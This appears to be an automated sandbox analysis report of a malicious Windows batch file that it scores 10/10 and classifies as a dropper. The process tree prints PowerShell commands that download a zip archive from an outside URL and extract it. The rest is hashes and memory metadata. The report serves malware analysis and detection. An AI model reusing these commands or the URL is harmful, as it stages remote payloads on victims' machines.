Analysis

  • max time kernel
    1352s
  • max time network
    1145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-11-2023 17:25

General

  • Target

    tesy - Copy.bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4460
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:820
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2068

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    9b0d0d79d0bbef03f6d943f6a8af8378

    SHA1

    e3fb64a682ff88397cbc3f4a48057b5c638fad5d

    SHA256

    9191424a02c75865d3c4af64b98ad85ededa47d09182101031cdcbe2fea69843

    SHA512

    aae89565e6b6ac9508bfa08b1fda7ac6bc763737eeaa5d13a74e96791d8e75139991c5696ff94e784cf410b2536aa4f98791612d73461f01675dda8c18f2db0f

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mjj51cii.1py.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/820-16-0x000001ED975C0000-0x000001ED975D0000-memory.dmp

    Filesize

    64KB

  • memory/820-10-0x00007FFE353D0000-0x00007FFE35E91000-memory.dmp

    Filesize

    10.8MB

  • memory/820-13-0x000001ED975C0000-0x000001ED975D0000-memory.dmp

    Filesize

    64KB

  • memory/820-14-0x00007FFE353D0000-0x00007FFE35E91000-memory.dmp

    Filesize

    10.8MB

  • memory/820-15-0x000001ED975C0000-0x000001ED975D0000-memory.dmp

    Filesize

    64KB

  • memory/820-11-0x000001ED975C0000-0x000001ED975D0000-memory.dmp

    Filesize

    64KB

  • memory/820-19-0x00007FFE353D0000-0x00007FFE35E91000-memory.dmp

    Filesize

    10.8MB

  • memory/820-12-0x000001ED975C0000-0x000001ED975D0000-memory.dmp

    Filesize

    64KB

  • memory/820-5-0x000001ED975D0000-0x000001ED975F2000-memory.dmp

    Filesize

    136KB

  • memory/2068-31-0x000001CAFA580000-0x000001CAFA590000-memory.dmp

    Filesize

    64KB

  • memory/2068-34-0x000001CAFA580000-0x000001CAFA590000-memory.dmp

    Filesize

    64KB

  • memory/2068-30-0x00007FFE353D0000-0x00007FFE35E91000-memory.dmp

    Filesize

    10.8MB

  • memory/2068-32-0x000001CAFA580000-0x000001CAFA590000-memory.dmp

    Filesize

    64KB

  • memory/2068-36-0x00007FFE353D0000-0x00007FFE35E91000-memory.dmp

    Filesize

    10.8MB